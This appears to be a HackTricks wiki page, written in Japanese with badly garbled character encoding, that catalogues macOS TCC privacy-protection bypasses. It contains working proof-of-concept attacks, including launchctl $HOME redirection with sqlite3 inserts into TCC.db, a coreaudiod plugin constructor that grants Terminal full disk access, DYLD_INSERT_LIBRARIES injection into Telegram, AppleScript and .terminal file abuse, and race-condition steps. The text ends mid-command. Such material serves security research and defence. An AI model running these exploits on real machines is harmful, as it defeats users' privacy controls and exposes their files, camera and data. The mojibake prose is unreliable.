macOS TCC ãã€ãã¹
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã
æ©èœå¥
æžã蟌ã¿ãã€ãã¹
ããã¯ãã€ãã¹ã§ã¯ãªããTCCã®åäœæ¹æ³ã§ã: æžã蟌ã¿ããä¿è·ãããŠããŸãããã¿ãŒããã«ããŠãŒã¶ãŒã®ãã¹ã¯ããããèªã¿åãã¢ã¯ã»ã¹æš©ãæã£ãŠããªããŠããããã«æžã蟌ãããšãã§ããŸã:
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
æ¡åŒµå±æ§ com.apple.macl ã¯æ°ãã ãã¡ã€ã« ã«è¿œå ãããäœæè
ã¢ã㪠ã«ãããèªã¿åãã¢ã¯ã»ã¹ãäžããŸãã
TCC ClickJacking
TCCããã³ããã®äžã«ãŠã£ã³ããŠã眮ã ããšã§ããŠãŒã¶ãŒãããã åãå ¥ãã ããã«ããããšãå¯èœã§ããPoC㯠TCC-ClickJacking** ã§èŠã€ããããšãã§ããŸãã**
https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg
ä»»æã®ååã«ããTCCãªã¯ãšã¹ã
æ»æè
㯠任æã®åå (äŸ: Finder, Google ChromeâŠ) ã®ã¢ããªã Info.plist ã«äœæããTCCã§ä¿è·ãããå Žæãžã®ã¢ã¯ã»ã¹ããªã¯ãšã¹ããããããšãã§ããŸãããŠãŒã¶ãŒã¯ãæ£åœãªã¢ããªã±ãŒã·ã§ã³ããã®ã¢ã¯ã»ã¹ããªã¯ãšã¹ãããŠãããšæãã§ãããã
ããã«ãæ£åœãªã¢ããªãDockããåé€ããåœã®ã¢ããªããã®äžã«çœ®ã ããšãå¯èœã§ãããŠãŒã¶ãŒãåœã®ã¢ããªïŒåãã¢ã€ã³ã³ã䜿çšã§ããïŒãã¯ãªãã¯ãããšãæ£åœãªã¢ããªãåŒã³åºããTCCã®æš©éãèŠæ±ãããã«ãŠã§ã¢ãå®è¡ãããæ£åœãªã¢ããªãã¢ã¯ã»ã¹ãèŠæ±ãããšä¿¡ã蟌ãŸããããšãã§ããŸãã
詳现æ å ±ãšPoCã¯ä»¥äžã«ãããŸãïŒ
SSHãã€ãã¹
ããã©ã«ãã§ã¯ãSSHçµç±ã®ã¢ã¯ã»ã¹ã¯ããã«ãã£ã¹ã¯ã¢ã¯ã»ã¹ããæã£ãŠããŸããããããç¡å¹ã«ããã«ã¯ããªã¹ãã«è¡šç€ºãããŠãããç¡å¹ã«ããå¿ èŠããããŸãïŒãªã¹ãããåé€ããŠããã®æš©éã¯åé€ãããŸããïŒïŒ
.png)
ããã§ã¯ãããã€ãã® ãã«ãŠã§ã¢ããã®ä¿è·ãåé¿ã§ããäŸ ãèŠã€ããããšãã§ããŸãïŒ
Caution
çŸåšãSSHãæå¹ã«ããã«ã¯ ãã«ãã£ã¹ã¯ã¢ã¯ã»ã¹ ãå¿ èŠã§ãã
ãã³ãã«æ¡åŒµ - CVE-2022-26767
屿§ com.apple.macl ã¯ãã¡ã€ã«ã«äžããããç¹å®ã®ã¢ããªã±ãŒã·ã§ã³ã«ãããèªãæš©éãäžããŸãã ãã®å±æ§ã¯ããã©ãã°ïŒãããã ã§ãã¡ã€ã«ãã¢ããªã«ç§»åãããšãããŸãã¯ãŠãŒã¶ãŒã ããã«ã¯ãªã㯠ã㊠ããã©ã«ãã¢ããªã±ãŒã·ã§ã³ ã§ãã¡ã€ã«ãéããšãã«èšå®ãããŸãã
ãããã£ãŠããŠãŒã¶ãŒã¯ æªæã®ããã¢ããªãç»é² ããŠãã¹ãŠã®æ¡åŒµåãåŠçããLaunch ServicesãåŒã³åºã㊠任æã®ãã¡ã€ã«ãéã ããšãã§ããŸãïŒãã®ãããæªæã®ãããã¡ã€ã«ã¯ãããèªãã¢ã¯ã»ã¹ãäžããããŸãïŒã
iCloud
æš©é com.apple.private.icloud-account-access ã«ãããcom.apple.iCloudHelper XPCãµãŒãã¹ãšéä¿¡ããããšãå¯èœã§ãiCloudããŒã¯ã³ ãæäŸããŸãã
iMovie ãš Garageband ã¯ãã®æš©éãæã£ãŠãããä»ã®æš©éãèš±å¯ãããŠããŸããã
ãã®æš©éãã iCloudããŒã¯ã³ãååŸãã ããã®ãšã¯ã¹ããã€ãã«é¢ãã詳现æ å ±ã¯ãããŒã¯ã確èªããŠãã ãã: #OBTS v5.0: âWhat Happens on your Mac, Stays on Appleâs iCloud?!â - Wojciech Regula
kTCCServiceAppleEvents / èªåå
kTCCServiceAppleEvents æš©éãæã€ã¢ããªã¯ãä»ã®ã¢ããªãå¶åŸ¡ãã ããšãã§ããŸããããã¯ãä»ã®ã¢ããªã«ä»äžãããæš©éã æªçšãã ããšãã§ããããšãæå³ããŸãã
Apple Scriptsã«é¢ãã詳现æ å ±ã¯ä»¥äžã確èªããŠãã ããïŒ
äŸãã°ãã¢ããªã iTerm ã«å¯Ÿã㊠èªååæš©é ãæã£ãŠããå Žåããã®äŸã§ã¯ Terminal ãiTermã«ã¢ã¯ã»ã¹ããŠããŸãïŒ
.png)
iTermäžã§
ãã«ãã£ã¹ã¯ã¢ã¯ã»ã¹ãæããªãTerminalã¯ããã«ãã£ã¹ã¯ã¢ã¯ã»ã¹ãæã€iTermãåŒã³åºããããã䜿çšããŠã¢ã¯ã·ã§ã³ãå®è¡ã§ããŸãïŒ
tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell
osascript iterm.script
Over Finder
ãŸãã¯ãã¢ããªãFinderã«ã¢ã¯ã»ã¹ã§ããå Žåãæ¬¡ã®ãããªã¹ã¯ãªããã䜿çšã§ããŸã:
set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
ã¢ããªã®åäœã«ãã
CVE-2020â9934 - TCC
ãŠãŒã¶ãŒã©ã³ãã® tccd daemon 㯠HOME env 倿°ã䜿çšããŠãTCC ãŠãŒã¶ãŒããŒã¿ããŒã¹ã«ã¢ã¯ã»ã¹ããŠããŸã: $HOME/Library/Application Support/com.apple.TCC/TCC.db
ãã® Stack Exchange ã®æçš¿ ã«ãããšãTCC ããŒã¢ã³ã¯çŸåšã®ãŠãŒã¶ãŒã®ãã¡ã€ã³å
ã§ launchd ãä»ããŠå®è¡ãããŠãããããæž¡ããã ãã¹ãŠã®ç°å¢å€æ° ã å¶åŸ¡ããããšãå¯èœ ã§ãã
ãããã£ãŠãæ»æè
㯠$HOME ç°å¢ 倿°ã launchctl ã§ å¶åŸ¡ããã ãã£ã¬ã¯ã㪠ãæãããã«èšå®ããTCC ããŒã¢ã³ã åèµ·å ãããã®åŸ TCC ããŒã¿ããŒã¹ãçŽæ¥å€æŽ ããŠããšã³ããŠãŒã¶ãŒã«ããã³ããã衚瀺ããããšãªã ãã¹ãŠã® TCC æš©éãååŸ ããããšãã§ããŸãã
PoC:
# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents
CVE-2021-30761 - ããŒã
ããŒãã¯TCCä¿è·ãããå Žæã«ã¢ã¯ã»ã¹ã§ããŸããããããŒããäœæããããšãããã¯ä¿è·ãããŠããªãå Žæã«äœæãããŸãããããã£ãŠãããŒãã«ä¿è·ããããã¡ã€ã«ãããŒãã«ã³ããŒããããã«äŸé ŒãïŒã€ãŸããä¿è·ãããŠããªãå Žæã«ïŒããã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ããããšãã§ããŸãã
.png)
CVE-2021-30782 - ãã©ã³ã¹ãã±ãŒã·ã§ã³
ãã€ããª/usr/libexec/lsdã¯ãã©ã€ãã©ãªlibsecurity_translocateãæã¡ãcom.apple.private.nullfs_allowãšããæš©éããããnullfsããŠã³ããäœæã§ããcom.apple.private.tcc.allowãšããæš©éãæã¡ã**kTCCServiceSystemPolicyAllFiles**ã䜿çšããŠãã¹ãŠã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããŸããã
ãLibraryãã«ã¯ã¢ã©ã³ãã£ã³å±æ§ã远å ããcom.apple.security.translocation XPCãµãŒãã¹ãåŒã³åºãããšãå¯èœã§ããã®åŸãLibraryã**$TMPDIR/AppTranslocation/d/d/Libraryã«ãããã³ã°ããLibraryå
ã®ãã¹ãŠã®ããã¥ã¡ã³ãã«ã¢ã¯ã»ã¹**ã§ããããã«ãªããŸããã
CVE-2023-38571 - Music & TV
Musicã«ã¯è峿·±ãæ©èœããããŸãïŒå®è¡äžã«ã~/Music/Music/Media.localized/Automatically Add to Music.localizedã«ããããããããã¡ã€ã«ããŠãŒã¶ãŒã®ãã¡ãã£ã¢ã©ã€ãã©ãªãã«ã€ã³ããŒãããŸããããã«ã次ã®ãããªåŒã³åºããè¡ããŸãïŒrename(a, b); ããã§ãaãšbã¯æ¬¡ã®ããã«ãªããŸãïŒ
a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"
ãã®**rename(a, b);ã®åäœã¯ã¬ãŒã¹ã³ã³ãã£ã·ã§ã³ã«å¯ŸããŠè匱ã§ãããAutomatically Add to Music.localizedãã©ã«ãå
ã«åœã®TCC.dbãã¡ã€ã«ã眮ããæ°ãããã©ã«ã(b)ãäœæããããšãã«ãã¡ã€ã«ãã³ããŒãããããåé€ãã~/Library/Application Support/com.apple.TCC**ã«ãã€ã³ãããããšãå¯èœã§ãã
SQLITE_SQLLOG_DIR - CVE-2023-32422
SQLITE_SQLLOG_DIR="path/folder"ã¯åºæ¬çã«éããŠãããã¹ãŠã®dbããã®ãã¹ã«ã³ããŒãããããšãæå³ããŸãããã®CVEã§ã¯ããã®å¶åŸ¡ãæªçšãããSQLiteããŒã¿ããŒã¹å
ã«æžã蟌ãŸããFDAã®TCCããŒã¿ããŒã¹ã§éãããããã»ã¹ã«ãã£ãŠ**SQLITE_SQLLOG_DIRããã¡ã€ã«åã®ã·ã³ããªãã¯ãªã³ã¯ã§æªçšããããã®ããŒã¿ããŒã¹ãéããããš**ããŠãŒã¶ãŒã®TCC.dbãäžæžããããŸãã
詳现æ
å ± ã®æžã蟌㿠ããã³ ããŒã¯ã
SQLITE_AUTO_TRACE
ç°å¢å€æ°**SQLITE_AUTO_TRACEãèšå®ãããŠããå Žåãã©ã€ãã©ãªlibsqlite3.dylibã¯ãã¹ãŠã®SQLã¯ãšãªã®ãã°ãéå§**ããŸããå€ãã®ã¢ããªã±ãŒã·ã§ã³ããã®ã©ã€ãã©ãªã䜿çšããŠããããããã¹ãŠã®SQLiteã¯ãšãªããã°ã«èšé²ããããšãå¯èœã§ããã
ããã€ãã®Appleã¢ããªã±ãŒã·ã§ã³ã¯ããã®ã©ã€ãã©ãªã䜿çšããŠTCCä¿è·æ å ±ã«ã¢ã¯ã»ã¹ããŠããŸããã
# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1
MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
ãã®env倿°ã¯Metalãã¬ãŒã ã¯ãŒã¯ã«ãã£ãŠäœ¿çšãããããã¯ããŸããŸãªããã°ã©ã ã®äŸåé¢ä¿ã§ãããç¹ã«MusicãFDAãæã£ãŠããŸãã
次ã®ããã«èšå®ããŸã: MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"ãpathãæå¹ãªãã£ã¬ã¯ããªã§ããã°ããã°ãããªã¬ãŒãããfs_usageã䜿çšããŠããã°ã©ã å
ã§äœãèµ·ãã£ãŠããããèŠãããšãã§ããŸãïŒ
path/.dat.nosyncXXXX.XXXXXXïŒXã¯ã©ã³ãã ïŒãšããååã®ãã¡ã€ã«ãopen()ãããŸãã- 1ã€ä»¥äžã®
write()ããã¡ã€ã«ã«å å®¹ãæžã蟌ã¿ãŸãïŒãããå¶åŸ¡ããããšã¯ã§ããŸããïŒã path/.dat.nosyncXXXX.XXXXXXãpath/nameã«renamed()ãããŸãã
ããã¯äžæãã¡ã€ã«ã®æžã蟌ã¿ã§ããããã®åŸã«**rename(old, new)**ãè¡ãããŸãããããã¯å®å
šã§ã¯ãããŸããã
å®å
šã§ãªãçç±ã¯ãå€ããã¹ãšæ°ãããã¹ãå¥ã
ã«è§£æ±ºããå¿
èŠããããããããã«ã¯æéããããå¯èœæ§ããããã¬ãŒã¹ã³ã³ãã£ã·ã§ã³ã«å¯ŸããŠè匱ã§ãã詳现ã«ã€ããŠã¯ãxnu颿°renameat_internal()ã確èªã§ããŸãã
Caution
åºæ¬çã«ãç¹æš©ããã»ã¹ãããªããå¶åŸ¡ãããã©ã«ãããååã倿ŽããŠããå ŽåãRCEãç²åŸããç°ãªããã¡ã€ã«ã«ã¢ã¯ã»ã¹ãããããšãã§ãããããŸãã¯ãã®CVEã®ããã«ãç¹æš©ã¢ããªãäœæãããã¡ã€ã«ãéããŠFDãä¿åããããšãã§ããŸãã
åå倿Žãããªããå¶åŸ¡ãããã©ã«ãã«ã¢ã¯ã»ã¹ããå ŽåããœãŒã¹ãã¡ã€ã«ã倿ŽããããFDãæã£ãŠããéã«ãç®çã®ãã¡ã€ã«ïŒãŸãã¯ãã©ã«ãïŒãã·ã³ããªãã¯ãªã³ã¯ãæãããã«å€æŽããããšã§ããã€ã§ãæžã蟌ãããšãã§ããŸãã
ãããCVEã§ã®æ»æã§ããïŒããšãã°ããŠãŒã¶ãŒã®TCC.dbãäžæžãããããã«ã次ã®ããã«ããŸãïŒ
/Users/hacker/ourlinkãäœæããŠ/Users/hacker/Library/Application Support/com.apple.TCC/ãæãããã«ããŸãã- ãã£ã¬ã¯ããª
/Users/hacker/tmp/ãäœæããŸãã MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.dbãèšå®ããŸãã- ãã®env倿°ã§
Musicãå®è¡ããŠãã°ãããªã¬ãŒããŸãã /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXXã®open()ããã£ããããŸãïŒXã¯ã©ã³ãã ïŒã- ããã§ããã®ãã¡ã€ã«ãã©ã€ãã£ã³ã°çšã«
open()ãããã¡ã€ã«ãã£ã¹ã¯ãªãã¿ãä¿æããŸãã /Users/hacker/tmpã/Users/hacker/ourlinkãšã«ãŒãå ã§ååçã«åãæ¿ããŸãã- ã¬ãŒã¹ãŠã£ã³ããŠãéåžžã«çããããæåã®å¯èœæ§ãæå€§åããããã«ãããè¡ããŸãããã¬ãŒã¹ã«è² ããããšã®ãã¡ãªããã¯ã»ãšãã©ãããŸããã
- å°ãåŸ ã¡ãŸãã
- éãè¯ãã£ãããã¹ãããŸãã
- ããã§ãªããã°ãæåããåå®è¡ããŸãã
詳现ã¯https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.htmlã確èªããŠãã ããã
Caution
çŸåšãenv倿°
MTL_DUMP_PIPELINES_TO_JSON_FILEã䜿çšããããšãããšãã¢ããªãèµ·åããŸããã
Apple Remote Desktop
rootãšããŠãã®ãµãŒãã¹ãæå¹ã«ãããšãARDãšãŒãžã§ã³ãã¯ãã«ãã£ã¹ã¯ã¢ã¯ã»ã¹ãæã¡ããããæªçšããŠãŠãŒã¶ãŒãæ°ããTCCãŠãŒã¶ãŒããŒã¿ããŒã¹ãã³ããŒãããããšãã§ããŸãã
By NFSHomeDirectory
TCCã¯ããŠãŒã¶ãŒã®HOMEãã©ã«ãå
ã®ããŒã¿ããŒã¹ã䜿çšããŠããŠãŒã¶ãŒã«ç¹æã®ãªãœãŒã¹ãžã®ã¢ã¯ã»ã¹ãå¶åŸ¡ããŸã**$HOME/Library/Application Support/com.apple.TCC/TCC.db**ã
ãããã£ãŠããŠãŒã¶ãŒã$HOME env倿°ãç°ãªããã©ã«ããæãããã«åèµ·åã§ããã°ããŠãŒã¶ãŒã¯**/Library/Application Support/com.apple.TCC/TCC.db**ã«æ°ããTCCããŒã¿ããŒã¹ãäœæããTCCãéšããŠä»»æã®ã¢ããªã«ä»»æã®TCCæš©éãä»äžãããããšãã§ããŸãã
Tip
Appleã¯ã
NFSHomeDirectory屿§å ã®ãŠãŒã¶ãŒãããã¡ã€ã«ã«ä¿åãããèšå®ã$HOMEã®å€ãšããŠäœ¿çšããŠããããããã®å€ã倿Žããæš©éãæã€ã¢ããªã±ãŒã·ã§ã³ã䟵害ãããšãTCCãã€ãã¹ã䜿çšããŠãã®ãªãã·ã§ã³ãæŠåšåã§ããŸãã
CVE-2020â9934 - TCC
CVE-2020-27937 - Directory Utility
CVE-2021-30970 - Powerdir
æåã®POCã¯dsexportãšdsimportã䜿çšããŠããŠãŒã¶ãŒã®HOMEãã©ã«ãã倿ŽããŸãã
- ã¿ãŒã²ããã¢ããªã®_csreq_ããããååŸããŸãã
- å¿ èŠãªã¢ã¯ã»ã¹æš©ãš_csreq_ããããæã€åœã®_TCC.db_ãã¡ã€ã«ãæ€ãä»ããŸãã
- dsexportã䜿çšããŠãŠãŒã¶ãŒã®ãã£ã¬ã¯ããªãµãŒãã¹ãšã³ããªããšã¯ã¹ããŒãããŸãã
- ãŠãŒã¶ãŒã®ããŒã ãã£ã¬ã¯ããªã倿Žããããã«ãã£ã¬ã¯ããªãµãŒãã¹ãšã³ããªãä¿®æ£ããŸãã
- dsimportã䜿çšããŠä¿®æ£ããããã£ã¬ã¯ããªãµãŒãã¹ãšã³ããªãã€ã³ããŒãããŸãã
- ãŠãŒã¶ãŒã®_tccd_ã忢ããããã»ã¹ãåèµ·åããŸãã
2çªç®ã®POCã¯ã/usr/libexec/configdã䜿çšããcom.apple.private.tcc.allowã«kTCCServiceSystemPolicySysAdminFilesã®å€ããããŸããã-tãªãã·ã§ã³ã§configdãå®è¡ããããšãå¯èœã§ãæ»æè
ã¯ã«ã¹ã¿ã ãã³ãã«ãããŒãããããšãã§ããŸããããããã£ãŠããšã¯ã¹ããã€ãã¯ããŠãŒã¶ãŒã®ããŒã ãã£ã¬ã¯ããªã倿Žããããã®**dsexportããã³dsimportã¡ãœãããconfigdã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³**ã«çœ®ãæããŸãã
詳现ã«ã€ããŠã¯ãå ã®å ±åã確èªããŠãã ããã
By process injection
ããã»ã¹å ã«ã³ãŒããæ³šå ¥ãããã®TCCæš©éãæªçšããããã®ããŸããŸãªæè¡ããããŸãïŒ
ããã«ãTCCããã€ãã¹ããããã«èŠã€ãã£ãæãäžè¬çãªããã»ã¹ã€ã³ãžã§ã¯ã·ã§ã³ã¯**ãã©ã°ã€ã³ïŒã©ã€ãã©ãªã®ããŒãïŒ**ã§ãã
ãã©ã°ã€ã³ã¯éåžžãã©ã€ãã©ãªãplistã®åœ¢ã§è¿œå ã®ã³ãŒãã§ãããã¡ã€ã³ã¢ããªã±ãŒã·ã§ã³ã«ãã£ãŠããŒãããããã®ã³ã³ããã¹ãã§å®è¡ãããŸãããããã£ãŠãã¡ã€ã³ã¢ããªã±ãŒã·ã§ã³ãTCCå¶éãã¡ã€ã«ãžã®ã¢ã¯ã»ã¹æš©ãæã£ãŠããå ŽåïŒä»äžãããæš©éãŸãã¯æš©å©ã«ãã£ãŠïŒãã«ã¹ã¿ã ã³ãŒãããããæã€ããšã«ãªããŸãã
CVE-2020-27937 - Directory Utility
ã¢ããªã±ãŒã·ã§ã³/System/Library/CoreServices/Applications/Directory Utility.appã¯ãæš©é**kTCCServiceSystemPolicySysAdminFilesãæã¡ã.daplug**æ¡åŒµåã®ãã©ã°ã€ã³ãããŒãããããŒãã³ãããã©ã³ã¿ã€ã ãæã£ãŠããŸããã§ããã
ãã®CVEãæŠåšåããããã«ãNFSHomeDirectoryã倿ŽããïŒä»¥åã®æš©éãæªçšããŠïŒããŠãŒã¶ãŒã®TCCããŒã¿ããŒã¹ãåŒãç¶ãããšãã§ããããã«ããŸãã
詳现ã«ã€ããŠã¯ãå ã®å ±åã確èªããŠãã ããã
CVE-2020-29621 - Coreaudiod
ãã€ããª**/usr/sbin/coreaudiodã¯ãæš©écom.apple.security.cs.disable-library-validationãšcom.apple.private.tcc.managerãæã£ãŠããŸãããæåã®ãã®ã¯ã³ãŒãã€ã³ãžã§ã¯ã·ã§ã³ãèš±å¯ãã2çªç®ã¯TCCã管çãã**ã¢ã¯ã»ã¹ãäžããŸãã
ãã®ãã€ããªã¯ããã©ã«ã/Library/Audio/Plug-Ins/HALãããµãŒãããŒãã£ãã©ã°ã€ã³ãããŒãããããšãèš±å¯ããŸããããããã£ãŠã次ã®PoCã䜿çšããŠãã©ã°ã€ã³ãããŒãããTCCæš©éãæªçšããããšãå¯èœã§ããïŒ
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
For more info check the original report.
ããã€ã¹æœè±¡åã¬ã€ã€ãŒ (DAL) ãã©ã°ã€ã³
Core Media I/O ãä»ããŠã«ã¡ã©ã¹ããªãŒã ãéãã·ã¹ãã ã¢ããªã±ãŒã·ã§ã³ïŒkTCCServiceCamera ãæã€ã¢ããªïŒã¯ã/Library/CoreMediaIO/Plug-Ins/DAL ã«ãã ãããã®ãã©ã°ã€ã³ãããã»ã¹å
ã§èªã¿èŸŒã¿ãŸãïŒSIP å¶éãªãïŒã
ããã«äžè¬ç㪠ã³ã³ã¹ãã©ã¯ã¿ ãæã€ã©ã€ãã©ãªãä¿åããã ãã§ ã³ãŒããæ³šå ¥ ããããšãã§ããŸãã
ããã€ãã® Apple ã¢ããªã±ãŒã·ã§ã³ãããã«å¯ŸããŠè匱ã§ããã
Firefox
Firefox ã¢ããªã±ãŒã·ã§ã³ã¯ com.apple.security.cs.disable-library-validation ãš com.apple.security.cs.allow-dyld-environment-variables ã®æš©éãæã£ãŠããŸããïŒ
codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>
ãã©ãŒãã«ãªæ å ±ã«ã€ããŠã¯ãå ã®ã¬ããŒãã確èªããŠãã ããã
CVE-2020-10006
ãã€ã㪠/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl ã¯ãcom.apple.private.tcc.allow ãš com.apple.security.get-task-allow ã®æš©éãæã£ãŠãããããã»ã¹å
ã«ã³ãŒããæ³šå
¥ããTCCã®æš©éã䜿çšããããšãã§ããŸããã
CVE-2023-26818 - Telegram
Telegram 㯠com.apple.security.cs.allow-dyld-environment-variables ãš com.apple.security.cs.disable-library-validation ã®æš©éãæã£ãŠãããããã«ã¡ã©ã§ã®é²ç»ãªã©ã®æš©éã«ã¢ã¯ã»ã¹ããããã«æªçšããããšãå¯èœã§ããããã€ããŒãã¯æžã蟌ã¿ã«ãããŸãã
ç°å¢å€æ°ã䜿çšããŠã©ã€ãã©ãªãããŒãããæ¹æ³ã«æ³šæããŠãã ãããã«ã¹ã¿ã plist ãäœæããããã®ã©ã€ãã©ãªã泚å
¥ããããã« launchctl ã䜿çšãããŸããïŒ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist
ãªãŒãã³åŒã³åºãã«ãã
ãµã³ãããã¯ã¹åãããŠããŠã**open**ãåŒã³åºãããšãå¯èœã§ãã
ã¿ãŒããã«ã¹ã¯ãªãã
ãã¯ãããžãŒã䜿ã人ã
ã䜿çšããã³ã³ãã¥ãŒã¿ã§ã¯ãã¿ãŒããã«ã«**ãã«ãã£ã¹ã¯ã¢ã¯ã»ã¹ (FDA)ãäžããããšãäžè¬çã§ãããããŠãããã䜿çšããŠ.terminal**ã¹ã¯ãªãããåŒã³åºãããšãå¯èœã§ãã
**.terminalã¹ã¯ãªããã¯ãCommandString**ããŒã«å®è¡ããã³ãã³ããå«ãplistãã¡ã€ã«ã§ãã
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
ã¢ããªã±ãŒã·ã§ã³ã¯ã/tmp ã®ãããªå Žæã«ã¿ãŒããã«ã¹ã¯ãªãããæžã蟌ã¿ã次ã®ãããªã³ãã³ãã§å®è¡ããããšãã§ããŸã:
// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];
ããŠã³ãã«ãã
CVE-2020-9771 - mount_apfs TCC ãã€ãã¹ãšç¹æš©ææ Œ
ä»»æã®ãŠãŒã¶ãŒïŒç¹æš©ã®ãªããŠãŒã¶ãŒãå«ãïŒã¯ãã¿ã€ã ãã·ã³ã®ã¹ãããã·ã§ãããäœæããŠããŠã³ããããã®ã¹ãããã·ã§ããã®ãã¹ãŠã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããŸãã
å¿
èŠãªç¹æš©ã¯ã䜿çšããã¢ããªã±ãŒã·ã§ã³ïŒäŸãã° TerminalïŒããã«ãã£ã¹ã¯ã¢ã¯ã»ã¹ïŒFDAïŒã¢ã¯ã»ã¹ïŒkTCCServiceSystemPolicyAllfilesïŒãæã€ããšã§ãããããã¯ç®¡çè
ã«ãã£ãŠä»äžãããå¿
èŠããããŸãã
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
